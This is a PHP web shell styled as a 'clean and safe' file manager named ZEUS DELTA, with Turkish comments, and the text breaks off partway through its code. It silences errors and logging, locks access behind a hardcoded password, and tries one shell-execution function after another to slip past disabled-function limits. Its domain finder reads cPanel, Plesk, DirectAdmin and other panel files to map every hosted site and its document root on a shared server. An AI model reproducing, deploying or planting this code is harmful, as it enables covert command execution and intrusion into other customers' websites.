<?php
/**
 * ZEUS DELTA File Manager v4.0 - Clean Edition
 *
 * Temiz ve guvenli dosya yonetim araci
 * Ozellikler: File Manager, Domain Finder, DB Manager, System Info
 *
 * @version 4.0
 * @license MIT
 */
error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '512M');
@set_time_limit(0);

// ==================== PASSWORD PROTECTION ====================
session_start();
$SHELL_PASSWORD = 'zeusdelta2025';

if (isset($_POST['shell_login_pass'])) {
    if ($_POST['shell_login_pass'] === $SHELL_PASSWORD) {
        $_SESSION['zeus_delta_auth'] = true;
    } else {
        $login_error = 'Yanlis sifre! Tekrar deneyin.';
    }
}

if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
    exit;
}

if (!isset($_SESSION['zeus_delta_auth']) || $_SESSION['zeus_delta_auth'] !== true) {
    echo '<!DOCTYPE html><html lang="tr"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0"><title>ZEUS DELTA File Manager - Login</title><style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:linear-gradient(135deg,#0a0a1a 0%,#1a1a2e 50%,#16213e 100%);min-height:100vh;display:flex;align-items:center;justify-content:center;font-family:"Segoe UI",sans-serif;overflow:hidden}
body::before{content:"";position:fixed;top:0;left:0;width:100%;height:100%;background:radial-gradient(circle at 20% 80%,rgba(120,0,255,0.15) 0%,transparent 50%),radial-gradient(circle at 80% 20%,rgba(255,0,100,0.1) 0%,transparent 50%);pointer-events:none}
.login-box{background:rgba(26,26,46,0.95);padding:50px 40px;border-radius:20px;box-shadow:0 25px 60px rgba(0,0,0,0.5),0 0 40px rgba(120,0,255,0.1);text-align:center;border:1px solid rgba(120,0,255,0.2);width:100%;max-width:400px;backdrop-filter:blur(20px);position:relative;z-index:1;animation:slideUp .6s ease-out}
@keyframes slideUp{from{opacity:0;transform:translateY(30px)}to{opacity:1;transform:translateY(0)}}
.login-box h2{font-size:32px;background:linear-gradient(135deg,#7c3aed,#ec4899);-webkit-background-clip:text;-webkit-text-fill-color:transparent;margin-bottom:8px;font-weight:800}
.login-box .subtitle{color:#a0a0b0;font-size:13px;margin-bottom:30px}
.login-box input[type="password"]{width:100%;padding:14px 18px;background:rgba(15,15,35,0.8);border:2px solid rgba(120,0,255,0.3);color:#fff;border-radius:12px;outline:none;font-size:15px;transition:all .3s;margin-bottom:20px}
.login-box input:focus{border-color:#7c3aed;box-shadow:0 0 20px rgba(120,0,255,0.2)}
.login-box button{background:linear-gradient(135deg,#7c3aed 0%,#ec4899 100%);color:#fff;border:none;padding:14px 24px;border-radius:12px;cursor:pointer;width:100%;font-weight:700;font-size:15px;transition:all .3s;box-shadow:0 4px 15px rgba(120,0,255,0.3)}
.login-box button:hover{transform:translateY(-2px);box-shadow:0 8px 25px rgba(120,0,255,0.4)}
.error-msg{color:#f44336;background:rgba(244,67,54,0.1);padding:10px;border-radius:8px;margin-bottom:15px;font-size:13px;border:1px solid rgba(244,67,54,0.3)}
</style></head><body><div class="login-box"><h2>ZEUS DELTA File Manager</h2><p class="subtitle">Yetkili erisim gereklidir</p>';
    if (isset($login_error)) echo '<p class="error-msg">' . $login_error . '</p>';
    echo '<form method="POST"><input type="password" name="shell_login_pass" placeholder="Sifrenizi girin..." required autofocus><button type="submit">Giris Yap</button></form></div></body></html>';
    exit;
}

// ==================== CONFIGURATION ====================
define('APP_VERSION', '4.0');
define('APP_NAME', 'ZEUS DELTA File Manager');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB

// ==================== HANDLE DIRECTORY NAVIGATION ====================
$current_dir = getcwd();
if (isset($_GET['dir'])) {
    $requested_dir = realpath($_GET['dir']);
    if ($requested_dir !== false && @is_dir($requested_dir) && @chdir($requested_dir)) {
        $current_dir = getcwd();
    }
}

// ==================== CORE FUNCTIONS ====================
function sanitizeInput($input, $type = 'string') {
    if ($type === 'path') {
        $input = str_replace(['..', '\\', '/../'], '', $input);
        $real = realpath($input);
        return $real !== false ? $real : $input;
    } elseif ($type === 'filename') {
        return preg_replace('/[^a-zA-Z0-9._-]/', '', $input);
    } elseif ($type === 'url') {
        return filter_var($input, FILTER_SANITIZE_URL);
    } elseif ($type === 'email') {
        return filter_var($input, FILTER_SANITIZE_EMAIL);
    }
    return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}

function formatSize($bytes) {
    if ($bytes == 0) return '0 Bytes';
    $k = 1024;
    $sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
    $i = floor(log($bytes, $k));
    return round($bytes / pow($k, $i), 2) . ' ' . $sizes[$i];
}

function getSystemInfo() {
    $server_ip = $_SERVER['SERVER_ADDR'] ?? @gethostbyname(gethostname()) ?? 'Unknown';
    $client_ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
    return [
        'app_name' => APP_NAME,
        'app_version' => APP_VERSION,
        'server_ip' => $server_ip,
        'client_ip' => $client_ip,
        'php_version' => PHP_VERSION,
        'operating_system' => PHP_OS,
        'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
        'current_user' => @get_current_user() ?: 'Unknown',
        'server_name' => $_SERVER['SERVER_NAME'] ?? 'Unknown',
        'server_port' => $_SERVER['SERVER_PORT'] ?? 'Unknown',
        'server_time' => date('Y-m-d H:i:s'),
        'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? getcwd(),
        'current_dir' => getcwd(),
        'disk_free_space' => formatSize(@disk_free_space('.') ?: 0),
        'disk_total_space' => formatSize(@disk_total_space('.') ?: 0),
        'memory_limit' => @ini_get('memory_limit') ?: 'Unknown',
        'max_execution_time' => @ini_get('max_execution_time') ?: 'Unknown',
        'upload_max_filesize' => @ini_get('upload_max_filesize') ?: 'Unknown',
        'post_max_size' => @ini_get('post_max_size') ?: 'Unknown',
        'open_basedir' => @ini_get('open_basedir') ?: 'None',
        'disable_functions' => @ini_get('disable_functions') ?: 'None'
    ];
}


// ==================== DOMAIN FINDER ====================

// Helper: shell_exec disabled ise alternatif yontemlerle komut calistir
function safeExec($cmd) {
    $disabled = array_map('trim', explode(',', strtolower(@ini_get('disable_functions'))));
    $try = ['shell_exec', 'exec', 'popen', 'proc_open', 'system', 'passthru'];
    foreach ($try as $fn) {
        if (in_array($fn, $disabled) || !function_exists($fn)) continue;
        try {
            switch ($fn) {
                case 'shell_exec':
                    $r = @shell_exec($cmd);
                    if ($r !== null && $r !== false && $r !== '') return $r;
                    break;
                case 'exec':
                    $out = array();
                    @exec($cmd, $out);
                    if (!empty($out)) return implode("\n", $out);
                    break;
                case 'popen':
                    $h = @popen($cmd, 'r');
                    if ($h) { $r = @stream_get_contents($h); @pclose($h); if ($r) return $r; }
                    break;
                case 'proc_open':
                    $desc = array(1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
                    $proc = @proc_open($cmd, $desc, $pipes);
                    if (is_resource($proc)) {
                        $r = @stream_get_contents($pipes[1]);
                        @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($proc);
                        if ($r) return $r;
                    }
                    break;
                case 'system':
                    @ob_start(); @system($cmd); $r = @ob_get_clean();
                    if ($r) return $r;
                    break;
                case 'passthru':
                    @ob_start(); @passthru($cmd); $r = @ob_get_clean();
                    if ($r) return $r;
                    break;
            }
        } catch (\Exception $e) { continue; } catch (\Error $e) { continue; }
    }
    return '';
}

function findAllDomains() {
    $domains = [];
    $seen = [];
    $detected_panel = 'Unknown';

    // Helper: add domain with O(1) deduplication
    $addDomain = function($domain, $doc_root, $panel) use (&$domains, &$seen) {
        $domain = strtolower(trim($domain, " \t\n\r\0\x0B\"'"));
        // Port numarasi varsa kaldir (orn: domain.com:443)
        if (($cp = strpos($domain, ':')) !== false) $domain = substr($domain, 0, $cp);
        if (!$domain || strlen($domain) < 4 || strpos($domain, '.') === false) return;
        if (in_array($domain, ['localhost', 'localhost.localdomain', '_', '*', 'default'])) return;
        if (preg_match('/^\d{1,3}(\.\d{1,3}){3}$/', $domain)) return; // Skip IPs
        if (preg_match('/\.localdomain$/', $domain)) return; // Skip .localdomain
        $domain = rtrim($domain, '.');
        $doc_root = ($doc_root && $doc_root !== '' && $doc_root !== 'Unknown') ? rtrim(trim($doc_root, " \t\n\r\0\x0B\"'"), '/') : 'Unknown';

        if (isset($seen[$domain])) {
            $idx = $seen[$domain];
            if ($doc_root !== 'Unknown') {
                $new_exists = @is_dir($doc_root);
                // Mevcut root Unknown ise veya mevcut dizin yoksa ama yeni dizin varsa guncelle
                if ($domains[$idx]['document_root'] === 'Unknown' || (!$domains[$idx]['exists'] && $new_exists)) {
                    $domains[$idx]['document_root'] = $doc_root;
                    $domains[$idx]['exists'] = $new_exists;
                    $domains[$idx]['panel'] = $panel;
                }
            }
            return;
        }
        $seen[$domain] = count($domains);
        $domains[] = [
            'domain' => $domain,
            'document_root' => $doc_root,
            'panel' => $panel,
            'exists' => ($doc_root !== 'Unknown') ? @is_dir($doc_root) : false
        ];
    };

    // ===== 1. PLESK =====
    if (is_dir('/usr/local/psa')) {
        $detected_panel = 'Plesk';

        // 1a. CLI: plesk bin site --list (en guvenilir - tum siteleri listeler)
        $out = safeExec('plesk bin site --list 2>/dev/null');
        if ($out) {
            foreach (explode("\n", trim($out)) as $s) {
                $s = trim($s);
                if (!$s) continue;
                $dr = '/var/www/vhosts/' . $s . '/httpdocs';
                $addDomain($s, @is_dir($dr) ? $dr : '/var/www/vhosts/' . $s, 'Plesk');
            }
        }

        // 1b. CLI: plesk bin subscription --list
        $out = safeExec('plesk bin subscription --list 2>/dev/null');
        if ($out) {
            foreach (explode("\n", trim($out)) as $s) {
                $s = trim($s);
                if (!$s) continue;
                $dr = '/var/www/vhosts/' . $s . '/httpdocs';
                $addDomain($s, @is_dir($dr) ? $dr : '/var/www/vhosts/' . $s, 'Plesk');
            }
        }

        // 1c. Plesk DB query (dogrudan veritabanindan tum domainleri ceker)
        $out = safeExec("plesk db \"SELECT name, www_root FROM domains\" 2>/dev/null");
        if ($out) {
            foreach (explode("\n", $out) as $line) {
                if (preg_match('/\|\s*(\S+)\s*\|\s*([^|]*?)\s*\|/', $line, $m)) {
                    $n = trim($m[1]);
                    $r = trim($m[2]);
                    if ($n && $n !== 'name' && strpos($n, '.') !== false) {
                        $addDomain($n, $r ?: 'Unknown', 'Plesk');
                    }
                }
            }
        }

        // 1d. /var/www/vhosts/ dizin taramasi
        if (is_dir('/var/www/vhosts')) {
            $entries = @scandir('/var/www/vhosts');
            if ($entries) {
                $skip = ['.', '..', 'default', 'system', 'chroot', '.skel', '.rapid-scan-db'];
                foreach ($entries as $e) {
                    if (in_array($e, $skip) || $e[0] === '.') continue;
                    $vp = '/var/www/vhosts/' . $e;
                    if (@is_dir($vp) && strpos($e, '.') !== false) {
                        $dr = @is_dir($vp . '/httpdocs') ? $vp . '/httpdocs' : $vp;
                        $addDomain($e, $dr, 'Plesk');
                    }
                }
            }
        }

        // 1e. /var/www/vhosts/system/ taramasi (Plesk domain configleri burada)
        if (is_dir('/var/www/vhosts/system')) {
            $entries = @scandir('/var/www/vhosts/system');
            if ($entries) {
                foreach ($entries as $e) {
                    if ($e[0] === '.' || $e === 'default') continue;
                    if (@is_dir('/var/www/vhosts/system/' . $e) && strpos($e, '.') !== false) {
                        $dr = '/var/www/vhosts/' . $e . '/httpdocs';
                        $addDomain($e, @is_dir($dr) ? $dr : '/var/www/vhosts/' . $e, 'Plesk');
                    }
                }
            }
        }

        // 1f. Plesk Nginx vhost conf dosyalari (.conf dosyalari VE dizinler)
        $plesk_nginx_dirs = ['/etc/nginx/plesk.conf.d/vhosts/'];
        foreach ($plesk_nginx_dirs as $pndir) {
            if (!is_dir($pndir)) continue;
            $confs = @scandir($pndir);
            if (!$confs) continue;
            foreach ($confs as $cf) {
                if ($cf[0] === '.') continue;
                $cfp = $pndir . $cf;
                // Dizin ise (domain adli dizin)
                if (@is_dir($cfp) && strpos($cf, '.') !== false) {
                    $addDomain($cf, '/var/www/vhosts/' . $cf . '/httpdocs', 'Plesk');
                }
                // .conf dosyasi ise parse et
                if (@is_file($cfp) && substr($cf, -5) === '.conf') {
                    $name = preg_replace('/\.conf$/', '', $cf);
                    if (strpos($name, '.') !== false) {
                        $root = '/var/www/vhosts/' . $name . '/httpdocs';
                        $ct = @file_get_contents($cfp);
                        if ($ct && preg_match('/root\s+([^;]+);/i', $ct, $rm)) {
                            $pr = trim($rm[1]);
                            if ($pr) $root = $pr;
                        }
                        $addDomain($name, $root, 'Plesk');
                        // Ayrica server_name direktiflerini de parse et
                        if ($ct && preg_match_all('/server_name\s+([^;]+);/i', $ct, $snm)) {
                            foreach ($snm[1] as $sn_line) {
                                foreach (preg_split('/\s+/', trim($sn_line)) as $sn) {
                                    $sn = trim($sn);
                                    if ($sn && $sn !== '_' && $sn !== 'localhost' && strpos($sn, '*') === false && strpos($sn, '.') !== false) {
                                        $addDomain($sn, $root, 'Plesk');
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }

        // 1g. Plesk Apache conf dizinleri
        foreach (['/etc/httpd/conf/plesk.conf.d/vhosts/', '/etc/apache2/plesk.conf.d/vhosts/'] as $padir) {
            if (!is_dir($padir)) continue;
            $confs = @scandir($padir);
            if (!$confs) continue;
            foreach ($confs as $cf) {
                if ($cf[0] === '.') continue;
                if (@is_dir($padir . $cf) && strpos($cf, '.') !== false) {
                    $addDomain($cf, '/var/www/vhosts/' . $cf . '/httpdocs', 'Plesk');
                }
            }
        }
    }

    // ===== 2. cPanel =====
    if (is_dir('/usr/local/cpanel')) {
        $detected_panel = 'cPanel';

        // 2a. /etc/trueuserdomains - ana domainler
        $lines = @file('/etc/trueuserdomains', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        if ($lines) {
            foreach ($lines as $l) {
                $p = explode(':', $l, 2);
                if (count($p) === 2) {
                    $addDomain(trim($p[0]), '/home/' . trim($p[1]) . '/public_html', 'cPanel (Main)');
                }
            }
        }

        // 2b. /etc/userdomains - tum domainler (addon, parked, sub)
        $lines = @file('/etc/userdomains', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
        if ($lines) {
            foreach ($lines as $l) {
                $p = explode(':', $l, 2);
                if (count($p) === 2 && trim($p[0]) !== '*') {
                    $addDomain(trim($p[0]), '/home/' . trim($p[1]) . '/public_html', 'cPanel');
                }
            }
        }

        // 2c. /var/cpanel/userdata/ - gercek document root bilgileri
        if (is_dir('/var/cpanel/userdata')) {
            $users = @scandir('/var/cpanel/userdata');
            if ($users) {
                foreach ($users as $user) {
                    if ($user[0] === '.' || !@is_dir('/var/cpanel/userdata/' . $user)) continue;
                    $udir = '/var/cpanel/userdata/' . $user;
                    $dfiles = @scandir($udir);
                    if (!$dfiles) continue;
                    foreach ($dfiles as $df) {
                        if ($df[0] === '.' || $df === 'main' || $df === 'cache') continue;
                        if (strpos($df, '_SSL') !== false || strpos($df, '.') === false) continue;
                        $ct = @file_get_contents($udir . '/' . $df);
                        if ($ct && preg_match('/documentroot:\s*(.+)/i', $ct, $m)) {
                            $addDomain($df, trim($m[1]), 'cPanel');
                        }
                    }
                }
            }
        }

        // 2d. /var/cpanel/users/ - kullanici config dosyalari (DNS= ve DNS1= satirlari)
        if (is_dir('/var/cpanel/users')) {
            $ufs = @scandir('/var/cpanel/users');
            if ($ufs) {
                foreach ($ufs as $uf) {
                    if ($uf[0] === '.' || !@is_file('/var/cpanel/users/' . $uf)) continue;
                    $ct = @file_get_contents('/var/cpanel/users/' . $uf);
                    if (!$ct) continue;
                    if (preg_match('/^DNS=(.+)$/m', $ct, $m)) {
                        $addDomain(trim($m[1]), '/home/' . $uf . '/public_html', 'cPanel');
                    }
                    if (preg_match_all('/^DNS\d+=(.+)$/m', $ct, $ms)) {
                        foreach ($ms[1] as $d) $addDomain(trim($d), '/home/' . $uf . '/public_html', 'cPanel');
                    }
                }
            }
        }

        // 2e. /etc/localdomains ve /etc/remotedomains
        foreach (['/etc/localdomains', '/etc/remotedomains'] as $f) {
            $lines = @file($f, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
            if ($lines) {
                foreach ($lines as $d) {
                    $d = trim($d);
                    if ($d && strpos($d, '.') !== false) $addDomain($d, 'Unknown', 'cPanel');
                }
            }
        }
    }

    // ===== 3. DirectAdmin =====
    if (is_dir('/usr/local/directadmin')) {
        $detected_panel = 'DirectAdmin';
        $udir = '/usr/local/directadmin/data/users/';
        if (is_dir($udir)) {
            $users = @scandir($udir);
            if ($users) {
                foreach ($users as $user) {
                    if ($user[0] === '.') continue;
                    // domains.list
                    $lines = @file($udir . $user . '/domains.list', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                    if ($lines) {
                        foreach ($lines as $d) {
                            $d = trim($d);
                            if ($d) $addDomain($d, '/home/' . $user . '/domains/' . $d . '/public_html', 'DirectAdmin');
                        }
                    }
                    // httpd.conf - ServerName ve ServerAlias
                    $ct = @file_get_contents($udir . $user . '/httpd.conf');
                    if ($ct) {
                        if (preg_match_all('/ServerName\s+(\S+)/i', $ct, $ms)) {
                            foreach ($ms[1] as $sn) {
                                if (strpos($sn, '.') !== false) $addDomain(trim($sn), 'Unknown', 'DirectAdmin');
                            }
                        }
                        if (preg_match_all('/ServerAlias\s+(.+)/i', $ct, $ms)) {
                            foreach ($ms[1] as $al) {
                                foreach (preg_split('/\s+/', trim($al)) as $a) {
                                    $a = trim($a);
                                    if ($a && strpos($a, '.') !== false && strpos($a, '*') === false) {
                                        $addDomain($a, 'Unknown', 'DirectAdmin');
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
        // /etc/virtual/ dizinleri
        if (is_dir('/etc/virtual')) {
            $vds = @scandir('/etc/virtual');
            if ($vds) {
                foreach ($vds as $vd) {
                    if ($vd[0] === '.') continue;
                    if (@is_dir('/etc/virtual/' . $vd) && strpos($vd, '.') !== false) {
                        $addDomain($vd, 'Unknown', 'DirectAdmin');
                    }
                }
            }
        }
    }

    // ===== 4. CyberPanel =====
    if (is_dir('/usr/local/CyberCP') || is_dir('/usr/local/CyberPanel')) {
        if ($detected_panel === 'Unknown') $detected_panel = 'CyberPanel';
        if (is_dir('/home')) {
            $hds = @scandir('/home');
            if ($hds) {
                foreach ($hds as $hd) {
                    if ($hd[0] === '.') continue;
                    $pub = '/home/' . $hd . '/public_html';
                    if (@is_dir($pub) && strpos($hd, '.') !== false) {
                        $addDomain($hd, $pub, 'CyberPanel');
                    }
                }
            }
        }
    }

    // ===== 5. HestiaCP / VestaCP =====
    foreach (['/usr/local/hestia' => 'HestiaCP', '/usr/local/vesta' => 'VestaCP'] as $pd => $pn) {
        if (!is_dir($pd)) continue;
        if ($detected_panel === 'Unknown') $detected_panel = $pn;
        if (is_dir('/home')) {
            $users = @scandir('/home');
            if ($users) {
                foreach ($users as $u) {
                    if ($u[0] === '.') continue;
                    $wb = '/home/' . $u . '/web';
                    if (!@is_dir($wb)) continue;
                    $wds = @scandir($wb);
                    if ($wds) {
                        foreach ($wds as $wd) {
                            if ($wd[0] === '.') continue;
                            if (@is_dir($wb . '/' . $wd) && strpos($wd, '.') !== false) {
                                $pub = $wb . '/' . $wd . '/public_html';
                                $addDomain($wd, @is_dir($pub) ? $pub : $wb . '/' . $wd, $pn);
                            }
                        }
                    }
                }
            }
        }
        break;
    }

    // ===== 6. ISPConfig =====
    if (is_dir('/usr/local/ispconfig')) {
        if ($detected_panel === 'Unknown') $detected_panel = 'ISPConfig';
        // /var/www/clients/ altini tara
        if (is_dir('/var/www/clients')) {
            $clients = @scandir('/var/www/clients');
            if ($clients) {
                foreach ($clients as $cl) {
                    if ($cl[0] === '.') continue;
                    $cl_path = '/var/www/clients/' . $cl;
                    if (!@is_dir($cl_path)) continue;
                    $webs = @scandir($cl_path);
                    if (!$webs) continue;
                    foreach ($webs as $w) {
                        if ($w[0] === '.') continue;
                        $web_path = $cl_path . '/' . $w . '/web';
                        if (@is_dir($web_path)) {
                            // vhost config'den domain adini bul
                            $vhost_file = '/etc/apache2/sites-available/' . $w . '.vhost';
                            $ct = @file_get_contents($vhost_file);
                            if ($ct && preg_match('/ServerName\s+(\S+)/i', $ct, $m)) {
                                $addDomain(trim($m[1]), $web_path, 'ISPConfig');
                            }
                        }
                    }
                }
            }
        }
    }

    // ===== 6b. OpenLiteSpeed / LiteSpeed =====
    $lsws_dirs = ['/usr/local/lsws', '/usr/local/lsws/conf'];
    $is_lsws = false;
    foreach ($lsws_dirs as $ld) { if (is_dir($ld)) { $is_lsws = true; break; } }
    if ($is_lsws) {
        if ($detected_panel === 'Unknown') $detected_panel = 'OpenLiteSpeed';
        // Vhost config dizinleri
        $vhost_dirs = ['/usr/local/lsws/conf/vhosts', '/usr/local/lsws/DEFAULT/vhosts'];
        foreach ($vhost_dirs as $vdir) {
            if (!@is_dir($vdir)) continue;
            $vhosts = @scandir($vdir);
            if (!$vhosts) continue;
            foreach ($vhosts as $vh) {
                if ($vh[0] === '.') continue;
                $vh_path = $vdir . '/' . $vh;
                if (@is_dir($vh_path) && strpos($vh, '.') !== false) {
                    // vhconf.conf icinden root ve domain al
                    $conf = @file_get_contents($vh_path . '/vhconf.conf');
                    $root = $vh_path;
                    if ($conf && preg_match('/docRoot\s+(.+)/i', $conf, $m)) $root = trim($m[1]);
                    $addDomain($vh, $root, 'LiteSpeed');
                    // vhDomain satirlari
                    if ($conf && preg_match_all('/vhDomain\s+(.+)/i', $conf, $ms)) {
                        foreach ($ms[1] as $vd_line) {
                            foreach (preg_split('/[\s,]+/', trim($vd_line)) as $vd) {
                                $vd = trim($vd);
                                if ($vd && strpos($vd, '.') !== false && strpos($vd, '*') === false) {
                                    $addDomain($vd, $root, 'LiteSpeed');
                                }
                            }
                        }
                    }
                    if ($conf && preg_match_all('/vhAliases\s+(.+)/i', $conf, $ms)) {
                        foreach ($ms[1] as $va_line) {
                            foreach (preg_split('/[\s,]+/', trim($va_line)) as $va) {
                                $va = trim($va);
                                if ($va && strpos($va, '.') !== false && strpos($va, '*') === false) {
                                    $addDomain($va, $root, 'LiteSpeed');
                                }
                            }
                        }
                    }
                } elseif (@is_dir($vh_path)) {
                    // Dizin adi domain degil, icindeki config'e bak
                    $conf = @file_get_contents($vh_path . '/vhconf.conf');
                    if ($conf) {
                        $root = '';
                        if (preg_match('/docRoot\s+(.+)/i', $conf, $m)) $root = trim($m[1]);
                        if (preg_match_all('/vhDomain\s+(.+)/i', $conf, $ms)) {
                            foreach ($ms[1] as $vd_line) {
                                foreach (preg_split('/[\s,]+/', trim($vd_line)) as $vd) {
                                    $vd = trim($vd);
                                    if ($vd && strpos($vd, '.') !== false) $addDomain($vd, $root ?: 'Unknown', 'LiteSpeed');
                                }
                            }
                        }
                    }
                }
            }
        }
    }

    // ===== 6c. Webmin / Virtualmin =====
    if (is_dir('/etc/webmin/virtual-server')) {
        if ($detected_panel === 'Unknown') $detected_panel = 'Virtualmin';
        $vs_dir = '/etc/webmin/virtual-server/domains/';
        if (is_dir($vs_dir)) {
            $dfiles = @scandir($vs_dir);
            if ($dfiles) {
                foreach ($dfiles as $df) {
                    if ($df[0] === '.') continue;
                    $ct = @file_get_contents($vs_dir . $df);
                    if (!$ct) continue;
                    $dom = '';
                    $root = '';
                    if (preg_match('/^dom=(.+)$/m', $ct, $m)) $dom = trim($m[1]);
                    if (preg_match('/^public_html_dir=(.+)$/m', $ct, $m)) $root = trim($m[1]);
                    if (!$root && preg_match('/^home=(.+)$/m', $ct, $m)) $root = trim($m[1]) . '/public_html';
                    if ($dom) $addDomain($dom, $root ?: 'Unknown', 'Virtualmin');
                }
            }
        }
        // Virtualmin CLI
        $out = safeExec('virtualmin list-domains --name-only 2>/dev/null');
        if ($out) {
            foreach (explode("\n", trim($out)) as $d) {
                $d = trim($d);
                if ($d && strpos($d, '.') !== false) $addDomain($d, 'Unknown', 'Virtualmin');
            }
        }
    }

    // ===== 6d. CWP (Control Web Panel) =====
    if (is_dir('/usr/local/cwpsrv') || is_dir('/usr/local/cwp')) {
        if ($detected_panel === 'Unknown') $detected_panel = 'CWP';
        // CWP vhost config'leri
        foreach (['/usr/local/cwpsrv/conf/vhosts', '/usr/local/apache/conf.d/vhosts', '/etc/httpd/conf.d/vhosts'] as $cwp_dir) {
            if (!@is_dir($cwp_dir)) continue;
            $files = @scandir($cwp_dir);
            if (!$files) continue;
            foreach ($files as $f) {
                if ($f[0] === '.' || !@is_file($cwp_dir . '/' . $f)) continue;
                $ct = @file_get_contents($cwp_dir . '/' . $f);
                if (!$ct) continue;
                if (preg_match_all('/ServerName\s+(\S+)/i', $ct, $ms)) {
                    foreach ($ms[1] as $sn) {
                        $dr = '';
                        if (preg_match('/DocumentRoot\s+"?([^"\n]+)"?/i', $ct, $rm)) $dr = trim($rm[1]);
                        if (strpos($sn, '.') !== false) $addDomain(trim($sn), $dr ?: 'Unknown', 'CWP');
                    }
                }
            }
        }
        // /var/named/ zone dosyalari
        if (is_dir('/var/named')) {
            $zones = @scandir('/var/named');
            if ($zones) {
                foreach ($zones as $z) {
                    if (substr($z, -3) === '.db' && strpos($z, '.') !== false) {
                        $name = preg_replace('/\.db$/', '', $z);
                        if (strpos($name, '.') !== false) $addDomain($name, 'Unknown', 'CWP');
                    }
                }
            }
        }
    }

    // ===== 6e. aaPanel =====
    if (is_dir('/www/server/panel')) {
        if ($detected_panel === 'Unknown') $detected_panel = 'aaPanel';
        // aaPanel nginx/apache vhost dizinleri
        foreach (['/www/server/panel/vhost/nginx', '/www/server/panel/vhost/apache', '/www/server/panel/vhost'] as $aa_dir) {
            if (!@is_dir($aa_dir)) continue;
            $files = @scandir($aa_dir);
            if (!$files) continue;
            foreach ($files as $f) {
                if ($f[0] === '.') continue;
                $fp = $aa_dir . '/' . $f;
                if (!@is_file($fp)) continue;
                // Dosya adindan domain cikart (domain.com.conf)
                $name = preg_replace('/\.(conf|vhost)$/', '', $f);
                if (strpos($name, '.') !== false) {
                    $root = '/www/wwwroot/' . $name;
                    $ct = @file_get_contents($fp);
                    if ($ct && preg_match('/root\s+([^;]+);/i', $ct, $m)) $root = trim($m[1]);
                    elseif ($ct && preg_match('/DocumentRoot\s+"?([^"\n]+)"?/i', $ct, $m)) $root = trim($m[1]);
                    $addDomain($name, $root, 'aaPanel');
                }
            }
        }
        // /www/wwwroot/ dizin taramasi
        if (is_dir('/www/wwwroot')) {
            $wdirs = @scandir('/www/wwwroot');
            if ($wdirs) {
                foreach ($wdirs as $wd) {
                    if ($wd[0] === '.' || $wd === 'default') continue;
                    if (@is_dir('/www/wwwroot/' . $wd) && strpos($wd, '.') !== false) {
                        $addDomain($wd, '/www/wwwroot/' . $wd, 'aaPanel');
                    }
                }
            }
        }
    }

    // ===== 6f. CloudPanel =====
    if (is_dir('/home/clp') || file_exists('/usr/bin/clpctl')) {
        if ($detected_panel === 'Unknown') $detected_panel = 'CloudPanel';
        // clpctl ile domain listesi
        $out = safeExec('clpctl site:list 2>/dev/null');
        if ($out) {
            foreach (explode("\n", $out) as $line) {
                $line = trim($line);
                if ($line && strpos($line, '.') !== false && !preg_match('/^[-+|]/', $line) && !preg_match('/Site|Domain|Name/i', $line)) {
                    $parts = preg_split('/\s+/', $line);
                    if (!empty($parts[0]) && strpos($parts[0], '.') !== false) {
                        $addDomain($parts[0], 'Unknown', 'CloudPanel');
                    }
                }
            }
        }
        // /home/USER/htdocs/ taramasi
        if (is_dir('/home')) {
            $users = @scandir('/home');
            if ($users) {
                foreach ($users as $u) {
                    if ($u[0] === '.' || $u === 'clp') continue;
                    $htdocs = '/home/' . $u . '/htdocs';
                    if (@is_dir($htdocs)) {
                        $subs = @scandir($htdocs);
                        if ($subs) {
                            foreach ($subs as $s) {
                                if ($s[0] === '.') continue;
                                if (@is_dir($htdocs . '/' . $s) && strpos($s, '.') !== false) {
                                    $addDomain($s, $htdocs . '/' . $s, 'CloudPanel');
                                }
                            }
                        }
                    }
                }
            }
        }
    }

    // ===== 6g. Froxlor =====
    if (is_dir('/var/customers/webs') || is_dir('/etc/froxlor')) {
        if ($detected_panel === 'Unknown') $detected_panel = 'Froxlor';
        if (is_dir('/var/customers/webs')) {
            $webs = @scandir('/var/customers/webs');
            if ($webs) {
                foreach ($webs as $w) {
                    if ($w[0] === '.') continue;
                    if (@is_dir('/var/customers/webs/' . $w) && strpos($w, '.') !== false) {
                        $addDomain($w, '/var/customers/webs/' . $w, 'Froxlor');
                    }
                }
            }
        }
    }

    // ===== 6h. RunCloud =====
    if (is_dir('/etc/runcloud') || is_dir('/RunCloud')) {
        if ($detected_panel === 'Unknown') $detected_panel = 'RunCloud';
        // RunCloud: /home/runcloud/webapps/APPNAME
        $rc_home = '/home/runcloud/webapps';
        if (is_dir($rc_home)) {
            $apps = @scandir($rc_home);
            if ($apps) {
                foreach ($apps as $app) {
                    if ($app[0] === '.') continue;
                    if (@is_dir($rc_home . '/' . $app) && strpos($app, '.') !== false) {
                        $addDomain($app, $rc_home . '/' . $app, 'RunCloud');
                    }
                }
            }
        }
    }

    // ===== 7. GENERIC: Apache httpd -S / apache2ctl -S dump =====
    $dump = safeExec('httpd -S 2>&1');
    if (!$dump || strpos($dump, 'VirtualHost') === false) {
        $dump = safeExec('apache2ctl -S 2>&1');
    }
    if ($dump && strpos($dump, 'VirtualHost') !== false) {
        $label = ($detected_panel !== 'Unknown') ? $detected_panel : 'Apache';
        if (preg_match_all('/namevhost\s+(\S+)/i', $dump, $ms)) {
            foreach ($ms[1] as $vh) {
                $vh = trim($vh);
                if (strpos($vh, '.') !== false) $addDomain($vh, 'Unknown', $label);
            }
        }
